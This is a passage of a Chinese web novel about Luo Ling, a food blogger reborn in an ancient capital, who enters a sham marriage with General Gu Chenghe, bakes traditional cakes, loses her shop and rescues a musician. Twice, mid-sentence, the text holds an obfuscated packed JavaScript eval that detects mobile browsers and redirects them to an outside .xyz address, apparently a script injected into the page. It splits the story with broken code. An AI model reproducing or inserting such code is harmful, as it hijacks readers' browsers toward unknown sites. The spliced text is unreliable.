“我想尽办法逃出黄州，最后又拐来长安就是想找他主动退了这门亲事，他非但不允还传信与我阿爹！”说到此处罗姈眼睛倏地瞪大，又回想起当日的气恼。 倘若听命嫁给周世清，形同继续活在她阿爹的掌控之下。 还是第一次听见有人如此直白地评论罗相，顾承禾难掩唇角，总算是明白他们父女为何无一点相似之处了。 “相夫教子非我所愿，总之我是决计不会任由我阿爹发配摆布的。” “故当时在东华门外，我灵光一闪，若是你我二人聚在一处，恰能省彼此烦忧。我替将军挡下公主，您替我拦下我阿爹，两相便宜，岂不乐事？” 隔着蒸腾的雾气，罗姈一双杏眼仍然分明。 顾承禾定了定神，摩挲着茶碗，似乎思量着什么。 罗姈又道：“以后你我二人假以夫妻之名各行其便，互不干涉，必要时彼此帮忙应付长辈即可，将军您觉着可行？” 顾承禾像是松下一口气，补充道：“日后罗娘子觅得良人，在下即刻修书一封，绝不误你。” 没想到顾承禾会提起这个，尽管她其实心向天地，志不在此，但还是应下了：“那就提前谢过将军了。” 二人谈妥后，又商量了些细则。 直到罗姈口渴端起茶水，方觉碗里还余一颗水粉圆子，虽然已经凉透，但浪费食物总是不好，正当她捞起最后一颗圆子，百味坊的大门被轰然推开。 尔后就是一道怒吼—— “三娘！” 4. 百果糕 她阿爹来了！ 罗姈的腮紧紧一缩，将一大颗圆子就这么囫囵咽了下去，含混着叫人：“阿爹……” 她吃得急，一下子将自己噎住了，一旁的顾承禾忙将茶水递去。 怒气冲冲的罗正松一进门就看见二人的手交叠在一处，更是气不打一处来：“顾家小儿你……” 两人慌慌张张的模样落在罗正松的眼里，彻底坐实“私相授受”的罪名。 虽然本朝民风开放，对于女子并无太多规矩束缚，但奈何罗正松全然是位“前朝遗老”，对现今风气一贯腹诽心谤。 而今他的独女竟然背诺悔婚，还私定终生，直把他气个倒仰。 “你们俩……”罗正松的手指头都在颤抖。 他蓦然一定，黑着一张脸唤：“三娘你过来！” 见罗姈小步磨蹭，罗正松将其一把拉来，厉声斥问：“这小子主动接近你是不是？” 罗姈打眼一瞧就知罗正松在想什么，干脆道：“是我先生钦慕之心的。” “你一女郎，知不知羞！”罗正松气得咬牙，“那他也是要利用于你！你可知……” “女儿知道。”罗姈率先打断了他，“昭云公主嘛，他同我说过。” 罗正松霎时哽住。 “阿爹您放心，我与他相识更早，与昭云公主无涉。” 罗正松一吹胡子：“你少蒙我，他远在凉州守关，如何与你相识？” 罗姈眼睛一眨：“这不回长安了吗，初进京时恰好入了我的百味坊，有一饭之缘。”回头冲顾承禾使了个眼色，“对吧，将军？” 顾承禾连忙深深作揖：“我对罗娘子心生钦慕，绝无旁的图谋。” 一句话说得结结巴巴，耳根子涨红。 “后来被召进宫里，他也是立马告知与我，未曾有过欺瞒。”罗姈编瞎话不待喘气的，还真唬住了罗正松。 她扯着罗正松的袖子，凑出一张可怜的小脸：“阿爹你想想办法，成全女儿吧。” “您不是一直赶着要把我嫁出去，现在我选定了，就要嫁他！” 罗正松两眼一瞪：“不行！你与世清已换了庚帖，岂能背诺？” “那是您换的又不是我换的，”罗姈没好气道，“我从来也没同意过。” “父母之命媒妁之言……” 眼见罗正松又要讲他那些“道义礼法”，罗姈当即道：“陛下已然知晓，您不如想想怎么善后罢。” “……”罗正松又是一哽。 这丫头生来就是气他的！ 罗正松默了半晌，抬起一双锐利清亮的眼，仔仔细细打量了一遍顾承禾，还能依稀辨出少年时的眉目。 如今已过弱冠的青年姿态谦卑，任由审视，但脊背挺拔，如松如柏。 罗正松阖目思虑良久，也不知在想些什么，尔后长叹一口气：“定要嫁顾家这小子？” 罗姈眼睛倏地一亮，忙不迭点头。 “我真是骄纵了你，罢了，天也快亮了，顾家小儿你同老夫去早朝。”罗正松点顾承禾跟上，扭头横一眼罗姈，勒令，“你给我乖乖回府去，没有我的许可不许踏出你院门一步。” 罗姈连连点头，转身和顾承禾对视俱都不敢置信，罗正松竟然就这么同意了？ 等回到家中将来龙去脉讲了一遍，小春也是颇为不解。 “老爷……这还是老爷吗？” 罗姈亦是一头雾水：“是啊，我也觉着奇怪得很，在黄州老家时我顶撞说不要嫁那周世清，他罚我跪了一夜的祠堂，而今我愈发出格，他却高高举起，轻轻放下了。” 边说着，她从口袋里舀出几大勺江米粉，又支使小春取了水来，将二者在案板上混合，揉匀，分成小块放进蒸笼。 不管罗正松究竟是何想法，总之他既应承了，想必不会反悔。 罗姈相信，她这位阿爹即使到了圣上面前也定能将此事处理妥帖。 所以她连觉都没补，赶紧做这百果糕来讨好她阿爹。 罗正松口腹之欲不重，但却有些嗜甜，喜食各色糕饼果子。从前罗姈原身还在时，就爱鼓捣些甜水小食，孝顺父母。 她一旅游美食博主，穿来这新鲜的古代，身份却是大门不出二门不迈的贵族小姐，只好一头扎进厨房里，折腾古方。也恰好原身少时常做点心，她才不被察觉有异。 如今取而代之，虽然与父母在婚事上不愉，但他们二老待她极好，她也想替原身尽一份孝心。 这百果糕就是原身留下来的食方子，不放橙丁的口味，是罗正松最喜爱的一味。 罗姈循着食方，将胡桃用滚水涨去皮，炸酥，切碎。又将熟芝麻研细，并手剥好的松仁和上白糖制成蜜饯。 小春见罗姈撒糖之阔绰，心疼不已，忙同她说话转移注意：“娘子，您说这事圣人真能不计较吗？” 这时候，江米粉团也蒸好了，罗姈将其取出，放凉。 抽空睨了眼小春，笑言：“你说咱们在黄州待了七年，皇帝都换了一茬，为何阿爹还能返京，重任宰辅？” 小春颇为哀怨：“好娘子……您别卖关子呀！” 罗姈笑笑，意有所指：“你看要做这百果糕，可以不放橙丁，但是决不能不放胡桃松仁，否则做的便不叫百果糕了。” “您是说……圣人欲做这百果糕，所以非胡桃松仁不可？”小春慢吞吞地悟。 “先帝爷想做鸡豆糕，胡桃说扔也就扔了。今圣欲做什么糕饼，我不知道，但决计不会用旧鸡豆，可是扔了鸡豆，他又无余钱采买旁的，除了把胡桃捡回来做百果糕，别无他法。” “所以即便胡桃有瑕，贵如天子，也只有忍着用了。” 末了，罗姈勾唇一笑：“再者说胡桃好歹也在厨房待了这么多年，整个厨房都染其味，其实啊……换谁进来都没得选。” 说罢，这厢粉糯团子也晾好了，罗姈在案板上又撒上一圈白糖，尔后在擀平的粉团上抹上麻油，取糖，揉匀，折叠后再取糖。 而小春还在回想罗姈方才那番话，似懂非懂地又问：“那娘子你觉着昭云公主会再选谁做驸马呢？” 罗姈揉面的手渐渐慢了下来，声音也黯然：“选？生在这个时代，公主是最没得选的女郎。” 小春没太听清，遂疑望去。 为了制止小春再发散好奇心，罗姈支使她将先前拌好的蜜饯拿来：“行了我哪知道这么多啊，阿爹快回了，咱们得加紧些，你来帮我铺蜜饯。” 在小春的配合下，她们一层米糕，一层蜜饯铺好，做了满满两盒百果糕。 罗姈自捻一块尝味，小咬一口，米糕粘软油润，其甜处非蜜非糖，夹杂着酥脆的胡桃粒，间或有硬脆的松果仁，面香与果香一道，直教人吃了还想。 “要是再能配上一口热茶就好了……”罗姈实在惋惜。 小春立即道：“府上好像有龙凤团茶，我去拿。” 小春前脚刚走，罗正松就回来了。 细雪将止，他身披晨雾，拧眉看罗姈从厨房里出来，没好气道：“又扎进厨房里！” “给您做了您最爱的百果糕。”罗姈捧着食盒，自觉讨好。 罗正松眉头稍解，哼笑一声，微微扬起的唇角出卖了他的好心情。 罗姈见势不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464420|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，追问道：“宫里那边……” 罗正松侧身一让：“顾家小儿，你慢腾腾的是腿脚还不如老夫吗？” 斜后处，远远杵着的顾承禾这才快步走近。 人到了近前，却始终低着头，罗姈不解歪头：“顾将军？” 见实在是逃不了了，顾承禾才慢慢抬起头，扯着嘴角应答：“罗娘子。” 罗姈见状一惊：“你的脸……！” 原本坚毅冷峻的面庞上，出现了一个极醒目的伤口。 “这……” 不是去上朝吗，怎么还弄破相了？况且谁打得过顾承禾啊？ 罗姈揣着疑问望向罗正松，发觉她阿爹心情不是一般的好。 她莫名浮出一个大胆的猜想：“……阿爹，不会是您打的吧？” 罗正松不置可否。 怎么动起手来了？难道这事儿要黄？ 像是猜到她的想法，顾承禾主动道：“今日在朝上已将婚事说定了。” 听到肯定的答复罗姈更迷惑了。 罗正松轻哼一声：“傻丫头，你也不想想，不说陛下有意尚公主在前，单论丞相府与将军府结亲，君王岂能安枕？” 故一上朝，他当即向陛下请罪“教女无方”，将此事定性为私情，并当着君王群臣的面，不由分说怒起给了顾承禾一拳。 以顾承禾的身手自然是能轻松躲过，但是下一瞬他亦反应过来了，不仅没躲，还刻意迎上最脆弱的嘴角，当场就现了血，叫罗正松揍了个痛快。 原本圣上尚不明昨夜女郎身份，还当是顾承禾故意不给皇室脸面，这下倒好，直接弄得满朝皆知。而尚公主的事情原也没有说定，眼下却不好再提了。 都是股肱之臣，陛下见状只能安抚两方，虽说没有明旨赐婚，也算半个媒人。 尔后正式议政始，罗正松更是处处驳斥顾承禾，将翁婿不和摆在了明面上。 在所有人看来，罗顾两家不是结亲，反是结仇。 打也打了，骂也骂了，是以罗正松虽熬了一宿，但仍然精神矍铄，神采奕奕。 他实在是身心舒畅呐！ 罗姈想通了关窍，适才放下心来。 “婚事年前就得办了，一应所需我们家倒是齐全，你尽力筹备吧，一切从简，但该有的不能委屈三娘。”罗正松嘱咐道。 顾承禾连声称是。 “行了，你俩单独说话吧，等日子定下来后不许再见了。”罗正松难得识趣，临走前还不忘稍走糕饼。 然而没有感情的二人，寂静独处唯有无言。 面面相觑好一会儿，还是罗姈先开口：“呃……你的伤，我给你拿点药吧。” “不必，小伤而已。”顾承禾示意无碍。 “嗯……”尔后清咳一声，掩饰无措，“那个，你有什么特别要置办的吗？” 见罗姈一脸迷茫，他小声补充：“置办婚礼。”绯红一路攀到耳尖。 罗姈恍然，第一反应：“不用麻烦，反正就是走个过场。”下一刻改口，“不过要麻烦将军给我安排个小厨房，就这个。” 顾承禾当即应下。 话都说到这儿了，罗姈也不好意思白拿好处，她客气道：“我平日就喜欢自己在厨房鼓捣些吃食，刚做的百果糕还有，我给顾将军拿一盒？很甜的。” 罗姈亦冲他甜甜地笑。 “不必，我不喜甜。” 顾承禾一口回绝，干脆利落。 愣是一点儿客套也无，生生噎地罗姈说不出话，只想赶紧把人送出去。 若是当初能挑拣，她决计不选顾承禾这木疙瘩，忒不识趣！ 5. 枣泥麻饼 腊月初二，宜嫁娶。 只可惜天公不作美，前些日子还艳阳高照，今日陡然转寒，夜雪压枝，酷冷异常，呼啸的北风将长安城最后一点儿暖冬的可能也一并吹去了。 罗顾两家的婚事并未因这突如其来的风雪易时，不过顶着上苍怒号，迎亲队伍着实艰难。 为此罗正松很是不满，本来这婚事办得急，纳采问名等既定章程能简则简，最后的迎亲礼还仓促而就，简直让他挂不住脸。 但到这份上又不能叫停，强忍着怒气将罗姈送上花轿就拂袖而去。 在众人眼中，罗相对这桩婚事真是大大不满，办得如此朴素不说，瞧新婿碍眼送嫁都还带着火气，做完表面功夫一刻也不愿多留。 待迎亲的车马徒绕半城吹吹打打，一路阻滞，才将将赶上吉时，顺利拜堂后罗姈就被送入洞房。 还好大周没有“戏新妇”的婚俗，喜婆例行公事后自觉退下，顾承禾更是在前厅忙着酬酢宾客，新房里唯剩罗姈、小春主仆二人。 厚重的皮帘也挡不住逼人的寒气，尽管房间里置了好几个熏笼，可窗户缝里总感觉透着风，沁凉沁凉的。 更别提罗姈在大雪天外折腾了几个时辰，骨头缝里都泛着寒。 等人一走尽，她就立刻掀了盖头，跑到熏笼边上烤手。 小春有样学样，将通身的冷气抖擞尽后，腆着脸问：“娘子，那些我能吃点儿吗？” 罗姈循着她的目光看去，原来馋猫儿相中了喜帐上撒的吉祥谷豆。 “饿了？” 忙活一天，尽喝西北风去了，小春现在看那几颗红枣生花生简直比亲娘还亲。 罗姈瞧她那眼放绿光的样子，扑哧一下就笑了出来：“喏，吃这个吧。” 说着，变戏法似地从繁重的嫁衣里掏出一个油纸包。 小春打开一看，里头竟是一个胖乎乎、甜蜜蜜的枣泥麻饼。 “您哪儿来的麻饼？”小春眼里饿狼似的绿光几乎是迸射出来。 “你以为我跟你一样傻乎乎的什么都不准备，成亲多劳累人啊……”罗姈顺便活动肩颈，坐了几个时辰的轿子，人都僵了。 小春奇怪道：“说得好像您成过一回似的。” 还真巧，她就是上辈子参加婚礼，躲新娘抛来的手捧花时摔倒磕到头，才穿来这里的。 “哎呀，快吃吧！”罗姈倒了杯水，赶紧堵住小春的嘴。 小春顺势咬下一大口，嚼散柔韧暄软的饼皮，舌尖触到细腻的枣泥，忍不住慢下来细品，令其在口腔中自然融化，微微的甜，清淡的香，盈满齿间，一切都恰到好处。 再咀嚼两口，还有芝麻香气返回来，一口满足，舒坦的不得了。 “好吃！”三两口吃完，将腮帮子塞得满满的，小春还意犹未尽，充满希冀地望着罗姈，“娘子我还想吃一个……” 罗姈肩一耸，手一摊：“就揣了俩，另一个我在轿子里吃完了。” 小春整个人登时耷拉下来，活像只丢了骨头的小黄奴，罗姈见势安慰：“喜欢吃，我给你做？刚出炉的更好吃。” “可是娘子您……”小春上下扫了眼罗姈一身火红嫁衣，提醒她，“您今日新婚欸……” “这有什么打紧，正好趁这好日子给新灶开火了！”罗姈大手一挥，拍板，“你去找食材来。” 顾承禾这边听到下人来报时，正饮下一杯酒，他还当是自己吃醉听错了，表情错杂：“你说她、她要做饭，现在？” 下人哆哆嗦嗦地把罗姈的要求又复述了一遍。 大婚之夜自个儿掀了盖头去厨房烧火，这样的新妇普天之下怕是没有第二位了。 顾承禾扶住隐隐发胀的额头，无奈道：“随夫人去，不用过问我了。” 下人领命离去。 应付完那些穿朱着紫的宾客后，顾承禾已然半醉，他眯着眼扫了一圈，终于在一个不起眼的角落里寻到了他要找的人。 他行至近前，那人明明瞧见了却当是没瞧见，自顾自地啜饮。 顾承禾主动开口：“易兄……” 易礼脸上堆满虚情假意：“哎呦，顾将军，恭贺新婚呀！” 顾承禾抿唇，神色格外认真：“易礼。” 没绷多久就泄了气，易礼斜眼轻哼，阴阳怪气：“顾承禾，我真是没想到，移商换羽你竟比我在行。” 谁十数日前还在愁尚公主呢，一扭脸，居然和宰辅家定了亲。 一出门，满城皆知。作为至交，他倒是最后一个才知晓的。 “实在是事发突然，我自己都恍然梦中。”顾承禾解释。 “你恍然梦中？就十日内娶到相府千金？”易礼轻哂，尔后若有所思，“你小子，该不是为了避做驸马都尉，有意赖上人罗家娘子的吧？” 说到这里，顾承禾实在难以细辩，毕竟还涉及到罗姈的私隐，索性一转话题：“这罗家娘子你也见过。” 易礼一头雾水，怎么也回忆不起自己何时跟这位名门大小姐打过照面，就听见顾承禾缓缓投下一记惊雷—— “百味坊的罗娘子，你还盛赞过她的手艺。” 易礼闻言彻底呆住，缓缓发出短促的一声—— “啊？” 什、什么？ 顾承禾意思是……百味坊的罗娘子与婚帖上的相府千金罗娘子是同一人？？？ “你俩、你俩何时暗度陈仓的？” 易礼被这突如其来的消息震得发懵，这会儿哪里还顾得上置气，揎拳掳袖就要盘问顾承禾，此时一个着松绿华袍的清俊郎君朝着这边翩翩而来。 易礼瞟见其人扭身便走，顾承禾正欲拉他，被身后人叫住：“顾兄。” 顾承禾转身，来人是承恩伯三郎王蕤，多年未见，礼貌寒暄：“王兄。” 王蕤拱手笑谈：“还未恭贺顾兄喜结良缘呐。” 顾承禾报之一笑，王蕤马上道：“方才似是易兄？” 待顾承禾回头，人早没影了，这些年易礼似乎有意避开旧识，他便替他打起掩护：“喔，他有事先回了。” 王蕤垂眸，叹：“上回与易兄说上话还是年初诗会上辩题，私谈总寻不见人，实在可惜，说起来贞娘都有好些年没见过你们了吧？” 顾承禾倒并无缅怀之意：“是有许多年了，大家各有缘法，也没什么机会相聚。” “嗐，这好说。”王蕤兴致勃勃地提议，“今年就聚上嘛，城外洛园新移了绿梅，正好你带上新妇，我也携贞娘一道，再叫上易兄。” 要罗姈陪他假扮夫妇同游？ 这画面……太尴尬了，顾承禾只是脑袋里闪过一瞬就按下了。 他婉言谢绝：“若要叙旧怕是多有不便，还是不必了。” 王蕤闻言若有所思：“也是，毕竟当年你和贞娘……怪我欠考虑了，那来日有暇，咱们兄弟之间可以聚一聚。” 顾承禾礼节性地笑笑。 一个时辰后，宾客也散得差不多了，顾承禾又陪王蕤喝了几杯，终算是了了这宴席。 携着风雪，顾承禾掀帘踏进房门，满眼的红色都在提醒他，如今这间居室不再独属他一人。 然而环顾一圈，只有一个孤零零的红盖头被随意地扔在榻上。 差点忘了，他的新婚夫人正热火朝天地做着饭呢。 顾承禾脚尖一转，朝着他从未踏足过的厨房而去。 人还未至，隔老远就闻到一股烘烤香气，顾承禾循着香味走进去，就看见院中人将整个灶台团团围住，密得下不去脚。 他拧眉清咳，示意众人，未曾想无人挪动分毫。 顾承禾只得走近，他身量高，能越过一干人头轻而易举地看到中心—— 罗姈正在教众人如何制饼。 只见一身火红嫁衣的新娘子在瓷碗边利索地单手磕了两个鸡蛋，混合白面、饴糖、豚油和成一个大面团，不拘形象，十分卖力地亲自揉捏。 侍女则在一旁拌着枣泥，两人配合，不一会儿就整出数个圆滚滚胖乎乎的面团子。 第一批即将出炉，厨房里的烘烤香气愈发浓烈，罗姈将第二批面团子倒进芝麻堆里，一边摇一边对众人说：“这食方子简单得很，你们回去也可以自己做，不拘枣泥馅儿，灵沙臛亦好。” 大家闻言眼睛都亮了，一个个聚精会神地支起耳朵。 罗姈毫无保留：“大家记好了，一斤白面，一两饴糖，豚油四两，鸡蛋两个。食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464421|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材简单，主要是火候，不可太大，一盏茶的功夫就可出炉。这样制出来的麻饼面皮香，内馅甜，放凉了也不会反油发腻，最是可口。” 语毕，她手底下的雪团也全都裹好了“外裳”，小春也将第一批麻饼取出，正欲招呼大家伙开动，就听见一个冷厉的声音呵斥道：“都围在这儿干什么？” 下人们循声望去，即刻作鸟兽散。 罗姈一抬头就对上顾承禾不满的眼神，她坦然视之：“顾将军。” “罗娘子。”顾承禾抿唇思虑，看着没走的小春欲言又止。 没想到她做个暮食要折腾这许久，刚进门就犯禁，坏了规矩。 “您有话直说便是，小春知晓内情，不是外人。” 顾承禾负手而立，环顾这间挂满喜穗的小厨房，彩坠儿摇晃，在他的面颊投下交错的暗影。 “罗娘子要的小厨房，时间匆忙，恐修缮不及，宅中只有我的院子另备有炉灶，要委屈罗娘子先住在这儿了。” 他常年戍边，鲜居京宅，院中厨房更是荒废，还是罗姈要求，才紧着置办了些炊具。 “这小厨房挺好的，东西很齐全。”罗姈已经细细看过一圈了，虽比不上家里宽敞，但是五脏俱全，她很满意。 顾承禾又道：“按说应为你另置一院才是，但府上还有祖母，怕她担忧，我未曾将实情告与她老人家。” “祖母卧病不常出院子，但恐有什么疏漏，还是先住一处。进院服侍的四个我已敲打过，不会多舌，你且安心。” 像是生怕人缠上似的，顾承禾忙不迭划分界限：“年后我就会离京，在此之前我居书房，其余尽归你。” 还没等罗姈说什么，他瞟了眼罗姈手里的麻饼，飞速皱了下眉：“还有，顾家家规过酉不食，罗娘子不必守，但下人们还是要守的。” 罗姈轻拍手心粉尘等着后文。 “请罗娘子日后慎行。” 拉拉杂杂铺垫了一大串，原是觉得她坏了他们家规矩，还带坏下人。 她一个外人初来乍到是不懂，可这话却是有些刺耳了。 罗姈笑意尽敛。 在顾承禾说这番话之前，她还在苦恼日后要如何与他相处，这个分寸实在让她头疼。 亲近些，他们实算得上是陌生人。 疏远些，同在一个屋檐下，日后还要互相帮衬，勉强得算半个亲人。 现下，罗姈有了决断。 她想的是友人吗？ 不，这关系太过亲近，还是不必了。 她决定，就做陌生的亲人，俗称——远房亲戚。 要搭台唱戏就虚与委蛇，能老死不相往来最好！ …… 一夜风雪过去，难得次日晴好，大朵大朵的面团云散在风里，大片大片的雪粒子铺在地上。 长安城在旭日金光的照拂下一改冷寂，大街小巷又重新似锅炉般沸腾起来。 罗姈也是早早起身，不过与顾家无关，她是惦念着自己的百味坊，闭店小半月终于得闲，她得去归置归置。 小春随罗姈一齐登上马车，一路上哈欠连天，罗姈歪头瞧她：“怎么，没睡好？” “昨夜那声惊雷一响，后半夜就再没睡着了。”小春嘟囔。 “打雷了？”罗姈疑问，她倒是精神抖擞，半点儿也不像安新床的人。 “这么大响儿您都没醒呐？”小春讶然。 其实罗姈自己都十分讶异，她虽不择床，却也并非沉眠之人，昨儿不知怎的，许是累着了，沾枕就着，睡得可香。 不过俗话说“雷打冬，十个牛栏九个空”，这打冬雷可不是什么好兆头，今冬怕是冷得厉害。 说着话的功夫，就行到了青龙大街，罗姈她们付完银钱刚下马车就顿在原地。 不止她们，还有不少行人也在驻足围观。 “天爷，这么大的树砸下来，不会砸死人了吧？” “啧啧，第一次见这么大的雷击木！” 目光所至，一颗被直直劈成两半的参天老树倾倒在地，不偏不倚，砸的正是百味坊的门头。 砖瓦碎砾散落一地，北风一吹，仿佛听见哀鸣。 她的百味坊，塌了。 6. 挂卤鸭 罗姈愣在原地一动不动。 少倾，街使赶来疏散人群，转了一圈确认店内无人，问：“谁是这家店主人？” 罗姈缓步上前：“我是。” “晌午前官衙会派人把树拉走，你不必劳心了。” 旁的帮助是一字不提。 “多谢官爷。”罗姈语气平静。 待人走后，小春啐了一口：“什么嘛，他们就是晓得这雷击木值钱！” 罗姈制止小春再言，示意跟她一起进店去。 跨过砸断的矮墙，路过七零八碎的杯盘碗著，一夕之间，在长安经营数月的心血尽付于此。 小春忍不住眼泪婆娑：“娘子……” “嘭！” 蓦地一记轰然乍响，俩人被惊地一哆嗦。 一夜北风摧折，旁逸斜出的粗壮秃枝将桌椅彻底压碎，砸进地里。 罗姈一把将小春扯进尚算完好的后院：“把值钱的东西收一收，咱们从头再来。” 一双杏眼乌黑明亮，似乎并未受到打击。 “从头再来？”小春愕然。 罗姈飞速环顾一圈，似是下定了决心：“不错，从头再来。” “左右修缮要花那么多银子，索性重新赁一家铺面。” 凭小春对罗姈的了解，她笃定：“娘子您是不是早就想搬走了？” 罗姈颔首：“前些天我盘账，咱们自开业来已盈百贯，但是一直呆在小巷里，仅靠秀才们口口相传，也只能赚到百贯。初入长安，手头拮据，开在近郊是无奈之举，如今咱们有了本钱，何不寻一处更好的地界，赚更多的银钱？” 当初牙人介绍铺面时，贵的她们赁不起，便宜的罗姈又看不上，牙人心中有了计较，把她们带到如今的百味坊来，指着门口的老树口若悬河，直道那是一颗发财树，多有行人在此乘凉歇脚，做食店不愁客源。 罗姈听了这话才拍板赁下，谁道牙人的话不假，可青龙大街僻远，来往多是贩夫走卒，无人会走进这样规整的食店，反倒是树下的提瓶茶人赚了不少铜板。 但是铺子都赁下了，罗姈只能自己另想法子招徕客人。 穷人身上是挣不到钱的，只挣铜板要挣到何时去，她便想出一招—— 张榜引流。 她将现世还未流行一种诗体——宝塔诗，张贴于京畿书生学子聚集处，并在榜下写道：青龙大街百味坊宝塔诗会，静候君音。 一夜之间，关于新诗体的讨论就在长安铺散开来，百味坊也顺道在这些书生心底存了印象。 经营了一段时日后，罗姈深觉目前的店面还是太小，在青龙大街这个地界儿已算顶了天的富贵，但要想更上一层楼，非改址不可。 她原是想等明年租期到了再挪，谁成想老天爷倒是催得紧。 小春知晓罗姈的决意后不再多言，麻溜将细软收拾出来，拾掇到最后，她站在残垣中回首望向罗姈：“娘子……” 罗姈深知小春此刻的伤感，她心亦复如是。 环视残砖碎瓦，寒风穿胸而过，这里的每一张桌椅，每一个碗碟她都亲自擦洗过无数遍了，又岂会真的没有一丝留恋。 但沉湎伤神并无助益，罗姈素来果敢决断，她告诉自己必须收拾好心情，筹谋百味坊接下来的出路最是要紧。 要问食店开在哪里不愁客源？ 非属长安城中人流最多，繁华鼎盛之地——东西二市是也。 其中，东市的燕云楼更是长安城最华丽的大酒楼，由前朝官府所建，三层相高，金檐玉柱，栋宇轩敞，极尽豪奢。朝代更迭后几经转手，听说如今的东家背后仰着大靠山。 罗姈入京以来还从未去过，择日不如撞日，干脆今日就去开开眼。 刚入坊市，罗姈令车夫停下，自行行走于闹市之中，小春不禁感叹：“还是燕楼街热闹，人挤着人，都错不开身呢。” 今日五更循门报晓将起，早市就乌泱泱涌进各路商贩，这时节看天吃饭，一刻也耽误不得。 罗姈在熙攘的人群中闲庭信步，一会儿瞧瞧钗环，一会儿又挑挑香饼子，在各色杂卖中流连忘返，几乎忘了正经事。 然而没走几步，斜前方东南巷子口似有人群聚集，罗姈禁不住好奇挤进人群中，恰一走近，就听见一人高声喧哗—— “管你南曲北曲，太平坊里的妓子不就要钱吗，小爷我有的是，不会亏待你的。”说着，竟当街动手拉扯起来。 围观的百姓瞧着热闹指指点点，还有不少认出那女郎身份的，说是什么逢莺娘子，罗姈亦有耳闻，似乎有长安第一琵琶手的名号。 这厢动静大，引来了巡街的街使，没成想那男子见了官差愈发猖狂，嚷嚷不休：“睁大你们的狗眼看清楚，老子姓邹！” 京城第一富商就姓邹，此子如此狂妄地自报家门，想来不会是其他门户。 邹家仅是有钱便也罢了，关键是族中出了一位娘娘，圣眷优容，抬了皇商。 这后台哪是街使们开罪的起的，不仅没管，还帮着驱散围观的百姓。 罗姈亦被推搡着趔趄了好几步，顺势被人流挤到外围。 眼见着那流氓光天化日之下把那弱质盈盈的女郎往街角马车拖拽，女郎拼死抵抗，推搡间一记响亮的耳光彻底点燃了罗姈的怒火。 “喂！这还有没有王法了？” 可纵使她心里再急，逆着人流根本没法前进一步。 就在这时，小春扯了扯罗姈的衣裳示意她回头。 罗姈转身，认出是顾承禾身边，名叫顾钊的侍从。 顾钊问：“夫人，可是遇上什么麻烦？” 罗姈往旁边一瞟，正好对上马车里顾承禾张望的眼神。 她顾不得许多，提裙就往马车方向跑。 “顾承禾，救人！” 顾承禾闻声下车，亦问：“怎么了？” 没时间解释了，罗姈指着喧闹的中心，目光急切，带着恳求：“救救她！” 事态紧急，顾承禾再没说二话，拿上剑就闯了进去。 街使们岂敢拦他，自觉让出道路。 此时邹洪已经将逢莺半个身子拉上马车了。 顾承禾跨步而来，长剑一挽，四两拨千斤般敲了下邹洪的手肘，霎时麻痹迫使他不得不松了手，逢莺脱力下坠，被紧随其后的顾钊稳稳扶住。 邹洪登时捂住手臂哀嚎起来，小厮见状于隐秘处摸出一把短刃，顾承禾余光轻瞥，顺手打掉。 一番动作，疾如闪电。 “你爷爷的……” 邹洪正欲叱骂谁敢坏他好事，眼光飞掠间，撞见顾承禾的腰牌，宿醉的酒立马清醒。 看清印文的邹洪屁都不敢多放一个，一扇马屁股，不管闹市冲撞，绝尘而去。 逢莺劫后余生，第一时间向顾承禾行了一个大礼。 顾承禾欲将人扶起，温声问：“没事吧？” “逢莺多谢大人救命之恩。”说罢又拜下去。 这世间男子，瞧见她们这些出身妓寮歌馆的，多是轻薄看待。 但眼前之人，却没有半分浮浪。 他避让开来，郑重且真挚：“你要谢应谢罗……”顾承禾一顿，“谢我夫人吧，是她要我救的你。” 逢莺颤颤抬眸，正对上一双关切的眼睛。 “莫怕，那流氓已经被赶跑了。” 罗姈躬身将其搀起，眼尖地发现逢莺的手腕印上了一圈深深的淤痕。 “你的手……” “嘶……”逢莺方觉痛楚。 顾承禾凝神细看：“脱骱了，需要马上接骨。” “脸也肿了。”罗姈瞧着无不心疼。 逢莺方才挣扎抵抗，挨巴掌时都没哭，这会儿忍不住滚下泪来。 这双手，是她安身立命之本，若是毁了…… “顾钊，”顾承禾示意，“送逢莺娘子去医馆。” 顾钊领命，逢莺随他而去，没走几步又转过身来：“今日大恩，逢莺铭感于心，来日定报二位。” 直到逢莺的背影消失，罗姈侧身：“方才多谢你。” “已经谢过了。”顾承禾指逢莺。 “她谢你救命之恩，我谢你安枕之恩。”罗姈舒心一笑，“若不是你及时出手，我眼睁睁瞧着人被掳走却无能为力，今夜恐怕不得安睡了。” 上次自己落难，这次他人遇险，两次顾承禾都没有犹豫出手相救，足见人品贵重。 要是再知情识趣些就好了，罗姈不禁暗忖。 这时小春提醒：“娘子、将军，有话借一步再说吧。” 百姓还围着瞧热闹呢。 顾承禾严责过当值街使后将罗姈带上马车，顺势递给她一杯茶水：“怎么到东市来了？” 罗姈顺口答：“做市场调研。” “……什么？”顾承禾听不懂一点。 “呃……”罗姈一惊，改口道，“营商的行话，不懂就别问了。” “出门怎么不用府里的马车？”顾承禾又问。 “你们家我也不熟，不知道该找谁呢。” 此言纯属搪塞，经过昨夜一番“提醒”，罗姈想他们还是泾渭分明些得好。 岂料顾承禾当了真：“何山何海、阿香阿莲，需要什么直接吩咐他们。” 